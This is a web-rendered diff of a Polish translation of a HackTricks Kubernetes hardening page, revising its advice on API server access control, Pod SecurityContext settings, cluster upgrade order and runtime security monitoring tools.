**Typowy proces żądania:**\
|
||||
User or K8s ServiceAccount –> Authentication –> Authorization –> Admission Control.
|
||||
Użytkownik lub K8s ServiceAccount –> Uwierzytelnianie –> Autoryzacja –> Admission Control.
|
||||
|
||||
**Wskazówki**:
|
||||
|
||||
@@ -186,17 +258,17 @@ User or K8s ServiceAccount –> Authentication –> Authorization –> Admission
|
||||
- Unikaj dostępu anonimowego.
|
||||
- NodeRestriction; brak dostępu z określonych węzłów do API.
|
||||
- [https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction)
|
||||
- W praktyce zapobiega to kubeletom dodawania/usuwania/aktualizowania labeli z prefiksem node-restriction.kubernetes.io/. Ten prefiks labeli jest zarezerwowany dla administratorów do oznaczania obiektów Node w celach izolacji workloadów i kubeletom nie będzie wolno modyfikować labeli z tym prefiksem.
|
||||
- A także umożliwia kubeletom dodawanie/usuwanie/aktualizowanie tych labeli i prefiksów labeli.
|
||||
- Zapewnij za pomocą labeli bezpieczną izolację workloadów.
|
||||
- Zabroń dostępu do API dla konkretnych Pods.
|
||||
- Unikaj wystawiania ApiServer do internetu.
|
||||
- Unikaj nieautoryzowanego dostępu przez RBAC.
|
||||
- Zabezpiecz port ApiServer za pomocą firewalla i whitelisty adresów IP.
|
||||
- W praktyce uniemożliwia kubeletom dodawanie/usuwanie/aktualizowanie etykiet z prefiksem node-restriction.kubernetes.io/. Ten prefiks etykiety jest zarezerwowany dla administratorów do oznaczania ich Node objects w celach izolacji workloadów, i kubeletom nie będzie wolno modyfikować etykiet z tym prefiksem.
|
||||
- A także pozwala kubeletom na dodawanie/usuwanie/aktualizowanie tych etykiet i prefiksów etykiet.
|
||||
- Zapewnij bezpieczną izolację workloadów za pomocą etykiet.
|
||||
- Uniemożliwiaj konkretnym pods dostęp do API.
|
||||
- Unikaj wystawienia ApiServer do internetu.
|
||||
- Zapobiegaj nieautoryzowanemu dostępowi — RBAC.
|
||||
- Port ApiServer zabezpiecz zaporą i whitelistą IP.
|
||||
|
||||
### Utwardzanie SecurityContext
|
||||
### SecurityContext Hardening
|
||||
|
||||
Domyślnie, jeśli nie określono innego użytkownika, podczas uruchamiania Pod będzie używany użytkownik root. Możesz uruchomić swoją aplikację w bezpieczniejszym kontekście, używając szablonu podobnego do poniższego:
|
||||
Domyślnie użytkownik root będzie używany, gdy Pod zostanie uruchomiony, jeśli nie zostanie określony inny użytkownik. Możesz uruchomić swoją aplikację w bardziej bezpiecznym kontekście, używając szablonu podobnego do poniższego:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -225,30 +297,30 @@ allowPrivilegeEscalation: true
|
||||
- [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
- [https://kubernetes.io/docs/concepts/policy/pod-security-policy/](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
|
||||
|
||||
### Ogólne utwardzanie
|
||||
### General Hardening
|
||||
|
||||
Powinieneś aktualizować swoje środowisko Kubernetes tak często, jak to konieczne, aby mieć:
|
||||
Należy aktualizować środowisko Kubernetes tak często, jak to konieczne, aby zapewnić:
|
||||
|
||||
- Zależności aktualne.
|
||||
- Zaktualizowane zależności.
|
||||
- Poprawki błędów i bezpieczeństwa.
|
||||
|
||||
[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Co 3 miesiące pojawia się nowe wydanie minorowe -- 1.20.3 = 1(Major).20(Minor).3(patch)
|
||||
[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Co 3 miesiące pojawia się nowe wydanie minor -- 1.20.3 = 1(Major).20(Minor).3(patch)
|
||||
|
||||
**Najlepszy sposób aktualizacji klastra Kubernetes (zgodnie z** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):**
|
||||
**Najlepszy sposób aktualizacji klastra Kubernetes jest (z** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):**
|
||||
|
||||
- Zaktualizuj komponenty Master Node w następującej kolejności:
|
||||
- etcd (wszystkie instancje).
|
||||
- kube-apiserver (wszystkie hosty control plane).
|
||||
- Zaktualizuj komponenty Master Node według następującej kolejności:
|
||||
- etcd (all instances).
|
||||
- kube-apiserver (all control plane hosts).
|
||||
- kube-controller-manager.
|
||||
- kube-scheduler.
|
||||
- cloud controller manager, jeśli go używasz.
|
||||
- cloud controller manager, if you use one.
|
||||
- Zaktualizuj komponenty Worker Node, takie jak kube-proxy, kubelet.
|
||||
|
||||
## Monitoring i bezpieczeństwo Kubernetes:
|
||||
## Kubernetes monitoring & security:
|
||||
|
||||
- Kyverno Policy Engine
|
||||
- Cilium Tetragon - obserwacja bezpieczeństwa i egzekwowanie w czasie wykonania oparte na eBPF
|
||||
- Polityki bezpieczeństwa sieci
|
||||
- Cilium Tetragon - oparte na eBPF obserwowalność bezpieczeństwa i egzekwowanie w czasie wykonywania
|
||||
- Network Security Policies
|
||||
- Falco - monitorowanie bezpieczeństwa w czasie wykonywania i wykrywanie
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user